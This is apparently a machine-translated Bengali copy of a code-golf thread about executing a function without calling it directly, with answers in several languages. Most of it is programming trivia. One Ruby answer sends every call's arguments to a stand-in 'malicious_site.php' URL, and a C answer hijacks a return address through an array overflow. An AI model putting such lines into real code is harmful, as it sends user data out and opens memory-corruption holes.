কোনও পদ্ধতিটিকে কল না করে কল করুন [বন্ধ]


77

এখন মুছে ফেলা স্ট্যাকওভারফ্লো প্রশ্ন দ্বারা অনুপ্রাণিত । আপনি কি কোনও নির্দিষ্ট পদ্ধতিটি স্পষ্টভাবে কল না করেই মৃত্যুদন্ড কার্যকর করার উপায় নিয়ে আসতে পারেন? এটি যত অপ্রত্যক্ষ, তত ভাল।

এখানে আমি যা বলতে চাইছি তা হ'ল (সি অনুকরণের জন্য ব্যবহৃত হয়েছিল, সমস্ত ভাষা গৃহীত হয়েছে):

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

মূল প্রশ্ন: এখানে চিত্র বর্ণনা লিখুন


58
+10471 ... দুর্দান্ত
Qwr

29
আমি অবাক হই স্ট্যাকের ওভারফ্লোতে আপনার কত প্রকারের দরকার?
পাইরুলেজ

34
স্পষ্টতই এটি @ মিস্টিটির অ্যাকাউন্ট থেকে একটি স্ক্রিনক্যাপ , অবতার দেখে seeing Mysticial, আপনি পারে দয়া করে শুধু আপনার প্রতিনিধির ট্যাবে ক্লিক করুন?!?!?!
ডুরকনব

4
@ ডুরকনব কেন তার উচিত? এগুলি সবই একটি উত্তর থেকে আসছে।
এফডিনফ

8
@ পাইরুলেজ জোন স্কিটি এখনও পান নি, তাই আমরা আপাতত নিরাপদ ।
কোল জনসন

উত্তর:


109

সি

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

জিসিসির সাথে সংকলিত হয়ে গেলে, সংকলকটি এর সাথে প্রতিস্থাপন printf("Goodbye!\n")করে puts("Goodbye!"), যা সহজ এবং সমতুল্য বলে মনে করা হয়। আমি স্নেহপূর্বক আমার কাস্টম putsফাংশন সরবরাহ করেছি , যাতে পরিবর্তে এটি কল হয়ে যায়।


1
@ ব্যবহারকারী 17752 এটি আসলে জিসিসি -ও-তে এমনকি একটি রূপান্তর। (জিসিসি ৪.৮, যাইহোক। সম্ভবত অন্যান্য সংস্করণগুলির জন্য কিছু অন্যান্য বিকল্পের প্রয়োজন আছে))
এইচডিভি

1
দুঃখিত, আমার ভুলটি, আমি ভুলে গেছি যে আমি আমার ম্যাকবুকটিতে ঝাঁকুনি ব্যবহার করছি।
ডার্কহার্ট

@ ব্যবহারকারী 17752 ধন্যবাদ, আমি অন্যান্য সংকলকগুলির সাথে পরীক্ষা করিনি, জেনে ভালো লাগল যে ঝাঁকুনির কমপক্ষে একই রূপান্তর পাওয়ার বিকল্প রয়েছে।
এইচডিভি

অভিনন্দন! একজন বিজয়ী আপনি!

84

ঠিক আছে, ম্যালওয়্যার কীভাবে কোডগুলিতে ডাকা হয় না এমন ফাংশনগুলি সম্পাদন করতে সক্ষম? উপচে পড়া বাফার দিয়ে!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

আমার সিস্টেমে, ফেরতের ঠিকানাটি mainপ্রথম স্থানীয় ভেরিয়েবলের উপরে 3 টি শব্দ সংরক্ষণ করা হয়। অন্য ফাংশনের ঠিকানা দিয়ে সেই রিটার্ন ঠিকানাটি স্ক্র্যাম্বল করে, সেই ফাংশনে main"রিটার্ন" দেয়। আপনি যদি অন্য সিস্টেমে এই আচরণটি পুনরুত্পাদন করতে চান তবে আপনাকে 3 টি অন্য একটি মানকে টুইট করতে হতে পারে।


আমাকে এটি মারধর করুন (+1) - এটি সুস্পষ্ট সি সমাধান solution
কমিন্টার্ন

20
<!-- language: lang-c -->আপনার কোডটি হাইলাইট করার জন্য দুটি লাইন ব্যবহার করুন ।
ভিক্টর স্টাফুসা

9
সমস্ত উইল @ ভিক্টর, সিনট্যাক্স হাইলাইট হিরো!
জেসন সি

@ ভিক্টর এটি কি সরকারীভাবে নথিভুক্ত? যদি হ্যাঁ, কোথায়?
থরবজর্ন রাভন অ্যান্ডারসন



56

পাইথন 2

>>> def func(*args):
        print('somebody called me?')

অন্যান্য উত্তর দ্বারা অনুপ্রাণিত কিছু উপায় এখানে:

  1. সরাসরি কোড চালাচ্ছে

    >>> exec(func.func_code) # just the code, not a call
    somebody called me?
    

    এটি ফাংশনটি না বলার সেরা উপায়।

  2. ধ্বংসকারী ব্যবহার করে

    >>> class X(object):pass
    >>> x = X()
    >>> X.__del__ = func # let  the garbage collector do the call
    >>> del x
    somebody called me?
    
  3. স্ট্যান্ডার্ড I / O ব্যবহার করা

    >>> x.write = func # from above
    >>> import sys
    >>> a = sys.stderr
    >>> sys.stderr = x
    >>> asdjkadjls
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    >>> sys.stderr = a # back to normality
    
  4. অ্যাট্রিবিউট লুকআপ ব্যবহার করে

    >>> x = X() # from above
    >>> x.__get__ = func
    >>> X.x = x
    >>> x.x # __get__ of class attributes
    somebody called me?
    <__main__.X object at 0x02BB1510>
    >>> X.__getattr__ = func
    >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
    somebody called me?
    >>> X.__getattribute__ = func
    >>> x.__class__ # any attribute
    somebody called me?
    
  5. আমদানি প্রক্রিয়া

    >>> __builtins__.__import__ = func
    >>> import os # important module!
    somebody called me?
    >>> os is None
    True
    

    ভাল আমি অনুমান করি যে সমস্ত .. আমি এখন কিছুই আমদানি করতে পারবেন না। অপেক্ষা নেই ..

  6. গেট-আইটেম বন্ধনী ব্যবহার করে []

    >>> class Y(dict): pass
    >>> Y.__getitem__ = func
    >>> d = Y()
    >>> d[1] # that is easy
    somebody called me?
    
  7. গ্লোবাল ভেরিয়েবল ব্যবহার করা। আমার পছন্দ!

    >>> exec "hello;hello" in d # from above
    somebody called me?
    somebody called me?
    

    helloএকটি অ্যাক্সেস হয় d['hello']। এর পরে পৃথিবী ধূসর দেখাচ্ছে।

  8. মেটা ক্লাস;)

    >>> class T(type): pass
    >>> T.__init__ = func
    >>> class A:
        __metaclass__ = T
    somebody called me?
    
  9. পুনরাবৃত্তকারী ব্যবহার করে (আপনি কোনও অপারেটরকে ওভারলোড করে এটি ব্যবহার করতে পারেন)

    >>> class X(object): pass
    >>> x = X()
    >>> X.__iter__ = func
    >>> for i in x: pass # only once with error
    somebody called me?
    
    >>> X.__iter__ = lambda a: x 
    >>> X.next = func
    >>> for i in x: pass # endlessly!
    somebody called me?
    somebody called me?
    somebody called me?
    ...
    
  10. ত্রুটি!

    >>> class Exc(Exception):__init__ = func
    >>> raise Exc # removed in Python 3
    somebody called me?
    
  11. ফ্রেমওয়ার্ক আপনাকে আবার কল করবে। প্রায় প্রতিটি জিইউআইয়ের এই কার্যকারিতা থাকে।

    >>> import Tkinter
    >>> t = Tkinter.Tk()
    >>> t.after(0, func) # or QTimer.singleShot(1000, func)
    >>> t.update()
    somebody called me?
    
  12. উত্সের স্ট্রিং কার্যকর করুন (ফ্যানক অবশ্যই একটি ফাইলে থাকতে হবে)

    >>> import linecache
    >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
    somebody called me?
    
  13. সজ্জা

    >>> @func
    def nothing():pass
    sombody called me?
    
  14. আচার ডি-সিরিয়ালাইজেশন সহ (কমপক্ষে প্রিয় আসছেন)

    >>> import pickle # serialization
    >>> def __reduce__(self):
        return func, ()
    >>> X.__reduce__ = __reduce__
    >>> x = X()
    >>> s = pickle.dumps(x)
    >>> pickle.loads(s) # this is a call but it is hidden somewhere else
    somebody called me?
    
  15. সিরিয়ালাইজেশন ব্যবহার করা হচ্ছে

    >>> import copy_reg
    >>> copy_reg.pickle(X, func)
    >>> pickle.dumps(x) # again a hidden call
    somebody called me?
    

আরও পাইথন উত্তর:


1
দুর্দান্ত সংগ্রহ, তবে আপনি থ্রেডগুলি ভুলে গেছেন । ;)
nyuszika7h

এই উত্তরটি অযৌক্তিক। +1
asteri

এটি অজগর 3
ব্র্যাডেন সেরা

1
সেসব থেকে অনেকেই পাইথন 3. সঙ্গে কাজ দেখানো মেটা-শ্রেণী এবং ব্যতিক্রম বৃদ্ধিকারী 3. পাইথন কাজ করে না
ব্যবহারকারী

22

জাভাস্ক্রিপ্ট

এইটি জেএসফাককে নোংরা কাজ করতে ব্যবহার করে ।

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

54
আমি মনে করি এটি সুস্পষ্ট ফাংশন কল হিসাবে যোগ্যতা অর্জন করে। একটি খুব অবহেলিত।
প্রিমো

3
@ প্রিমো, এটি কার্যকর করতে জাভাস্ক্রিপ্টের একটি স্ট্রিং তৈরি করবে এবং এটি কল করার জন্য ফাংশন অবজেক্টটি অর্জন করবে। তবে এটি করতে, এটি প্রকারের মধ্যে অন্তর্নিহিত রূপান্তরগুলি ব্যবহার করে; উদাহরণস্বরূপ ""একটি স্ট্রিং, এবং []0 তে মূল্যায়ন করা হয়, সুতরাং ""[[]]এটি অপরিজ্ঞাত হয় এবং ""[[]]+""এটি "অপরিজ্ঞাত" হয়। সেখান থেকে আপনি স্বতন্ত্র অক্ষরগুলি বের করতে পারেন: (""[[]]+"")[[]]এটি "ইউ"। সুতরাং এটি নির্বিচারে কোড সহ এক্সেক কল করতে একটি হ্যাক মত। আমি যে গণনা মনে করি?
ফিল এইচ

1
@ ফিলিফ আমি বুঝতে পারি যে এটি কীভাবে কাজ করে। গত দুই প্রথম বন্ধনী সরান: function anonymous() { x() }
প্রিমো

22

পাইথন

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

এটি the_functionপ্রোফাইলিং ফাংশন হিসাবে সেট করে, যার ফলে এটি প্রতিটি ফাংশন কল এবং রিটার্নে কার্যকর হয়।

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

এটা কি পাইথন?
হোশেচ 250

@ ব্যবহারকারী2509848 হ্যাঁ, আমি এটি উল্লেখ করতে ভুলে গেছি।
grc 1'14 এ 114

একটি নন-সি উত্তর! আমি আরও দেখতে চাই: ডি

@Johnsyweb দয়া করে দেখতে meta.codegolf.stackexchange.com/q/1109/9498 । সিনট্যাক্স হাইলাইটিং অন্তর্ভুক্ত করার জন্য প্রতিটি একক পোস্ট সম্পাদনা করার দরকার নেই, বিশেষত যদি এটি সবেমাত্র কোডটির চেহারাকে প্রভাবিত করে (যেমন শর্ট কোড)।
জাস্টিন 5

@ কুইনকুনস: স্বীকৃত ☻
জনসিওয়েব

18

সি শার্প

আপনি যখনই ক্লাসে কোনও পদ্ধতিতে কল করার চেষ্টা করেন আমরা সর্বদা কিছু কোড কার্যকর করতে DLR কে আপত্তি জানাতে পারি । এটি প্রতিনিধি, প্রতিচ্ছবি, স্ট্যাটিক নির্মাণকারী ইত্যাদির মতো সমাধানগুলির তুলনায় কিছুটা কম সস্তা / সুস্পষ্ট, কারণ মৃত্যুদন্ড কার্যকর করা পদ্ধতিটি কেবল কখনওই চাওয়া হয় না, এমনকি এটি কখনও রেফারেন্স করা হয় না, এমনকি এটির নামও নয়।

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

এটি সর্বদা "হা! আপনাকে প্রতারণা করে!" কোন ব্যাপার কি আপনার উপর ডাকা চেষ্টা a। সুতরাং আমি ঠিক হিসাবে সহজে লিখতে পারে a.SuperCaliFragilisticExpiAlidocious()এবং এটি একই জিনিস করতে হবে।


17

জিএনইউ সি

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

এটি খুবই সরাসরি, কিন্তু অবশ্যই একটি নয় কল করার hello_world, যদিও ফাংশন আছে চালানো।


16

চুনি

ওয়াট দ্বারা অনুপ্রাণিত ।

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

16

সি

আপনি সি এর মধ্যে প্রোগ্রামের শেষে ডাকা একটি ফাংশন নিবন্ধন করতে পারেন, যদি এটি আপনার প্রয়োজনের সাথে খাপ খায়:

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

15

জাভা

জাভা দিয়ে এটি চেষ্টা করেছেন:

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

পদ্ধতিটি কেবল secretMethodNotCalledInMainপ্রতিবিম্ব দ্বারা ডাকা হয়, এবং আমি যাকে ডাকা হয় এমন কিছুই খুঁজছি না secretMethodNotCalledInMain(পরিবর্তে আমি ডেকে না এমন কোনও কিছুর সন্ধান করছি main)। আরও, mainজেডিকে-র অপ্রত্যাশিত ব্যতিক্রম হ্যান্ডলারটি যখন লাথি দেয় তখন কোডটির প্রতিবিম্বিত অংশটি পদ্ধতির বাইরে বলা হয়।

এখানে আমার জেভিএম তথ্য:

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

এখানে আমার প্রোগ্রামটির ফলাফল:

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

আমি প্রত্যাশা করছিলাম না যেগুলি NullPointerExceptionস্থানীয় কোড থেকে প্রতিবিম্ব হ্যান্ডেল করার জন্য ফেলে দেওয়া হবে। তবে @ জনচেন 902 দ্বারা উল্লিখিত হিসাবে এটি কিছু পদ্ধতি উত্তরাধিকার সূত্রে পেয়েছে java.lang.Objectএবং আমি তাদের nullএস এ কল করে শেষ করেছি ।


সেই NPEগুলি JDK বাগ নয়। তারা নিক্ষিপ্ত কারণ আপনি উদাহরণস্বরূপ পদ্ধতি ঘোষণা ডাকা করার চেষ্টা java.lang.Objectযেমন toString()সঙ্গে null
johnchen902

@ johnchen902 ওহ অবশ্যই ধন্যবাদ. আমি এটি সম্পাদনা করেছি।
ভিক্টর স্টাফুসা

14

সি ++

সি ++ এর একটি উপায় হ'ল স্থির অবজেক্টের কনস্ট্রাক্টর এবং / অথবা ডেস্ট্রাক্টরে:

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

1
আমি
নতুনকে

কনস্ট্রাক্টর / ডেস্ট্রাক্টররা কি সি ++ তে "পদ্ধতি" হিসাবে বিবেচিত? .NET এবং জাভাতে এগুলি আসলে একটি পৃথক সদস্য প্রকার। আপনি চাইলে সরাসরি কোনও স্ট্যাটিক কর্টর কল করতে পারবেন না ...
অ্যারোনআউট

@ অ্যারোনট: সি ++ তে কোনও কিছুই "পদ্ধতি" হিসাবে বিবেচিত হয় না (কমপক্ষে কেউ জানেন যে তারা কী সম্পর্কে কথা বলছে)। কনস্ট্রাক্টর এবং ডেস্ট্রাক্টর সদস্য ফাংশন। এগুলি যদিও "বিশেষ" সদস্য ফাংশন (উদাহরণস্বরূপ, নির্মাতাদের নাম নেই, তাই আপনি তাদের সরাসরি আবেদন করতে পারবেন না)।
জেরি কফিন

ঠিক আছে, আমি কেবল সেই শব্দটি ব্যবহার করেছি কারণ ওপি করেছে। আমি জানি যে সি / সি ++ এবং প্রায় প্রতিটি অন্যান্য জাভা /। নেট ভাষাতে ফাংশন রয়েছে, পদ্ধতি নয়। তবে মূল বক্তব্যটি হ'ল এগুলি সরাসরি ডাকা যাবে না। আপনি তর্ক করতে পারেন যে একটি কনস্ট্যান্ট কনস্ট্রাক্টর প্রযুক্তিগতভাবে সরাসরি newডাকা হচ্ছে , এবং তাই এটি ছাড়া একটিকে চাওয়ার উপায় থাকা একটি আকর্ষণীয় উত্তর হবে new। তবে আমি জানি না, স্থির নির্মাতারা কিছুটা প্রতারণার মতো অনুভব করে।
অ্যারোনআট

@ অ্যারোনট আপনি যদি ইতিমধ্যে বরাদ্দকৃত মেমরির কোনও অংশে কোনও নির্মাণকারীকে কল করতে চান তবে আপনি লিখতে পারেন new (p) foo()। এবং আপনি মেমরির মাধ্যমে প্রকাশ না করে কোনও অবজেক্টকে ধ্বংস করতে পারেন p->~foo()
ফ্রেডওভারফ্লো

12

সি: হ্যালো ওয়ার্ল্ড

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

আউটপুট:

Hello World!

পদ্ধতিটি লিঙ্ক করার জন্য, প্রোগ্রামের কোথাও সংকলন করতে আমাদের প্রিন্টফ () প্রয়োজন, তবে এটি আসলে কল করতে হবে না। কোড সেগমেন্টে প্রিন্টফ () এবং প্রধান () ফাংশনগুলি একে অপরের থেকে 276 বাইট দূরে অবস্থিত। এই মানটি ওএস এবং সংকলকের ভিত্তিতে পরিবর্তিত হবে। আপনি এই কোডটি দিয়ে আপনার সিস্টেমে আসল ঠিকানাগুলি সন্ধান করতে পারেন এবং তারপরে সেগুলি কেবল বিয়োগ করুন:

printf("%d %d\n", &printf, &main);

4
*সামনে mainসত্যিই বিভ্রান্তিকর এবং অপ্রয়োজনীয় নয়। mainএমন একটি ফাংশন যা আপনি অবলম্বন করতে পারবেন না, সুতরাং এটি স্পষ্টভাবে একটি ফাংশন পয়েন্টারকে স্থির করে দেয় যা পরে আবার কোনও ফাংশন উপস্থাপনের জন্য বিবেচিত হয়। আপনি কোনও ফাংশন থেকে কোনও int বিয়োগ করতে পারবেন না, সুতরাং এটি আবার কোনও ফাংশন পয়েন্টারকে স্থির করে। আপনি পাশাপাশি লিখতে পারেন (*****main-276);) আপনি সম্ভবত লিখতে (&main-276)বা (*(main-276))পরিবর্তে বোঝাতে চেয়েছিলেন।
ফ্রেডওভারফ্লো

6
The * before main is really confusing and unnecessary.- এই সাইটটি কি সাধারণত ভাল জিনিস না?
জেমস ওয়েবস্টার

আমি তার চাপের মধ্যে ছিলাম মানটি বলেছিল যে একটি সুগঠিত প্রোগ্রামাম ব্যবহার করবে না mainতবে এখন এটি খুঁজে পাবে না ...
দামন

3
আপনি সুস্পষ্টভাবে এটিকে
অবহেলিত

9

সি (জিসিসি ইনলাইন asm সহ)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
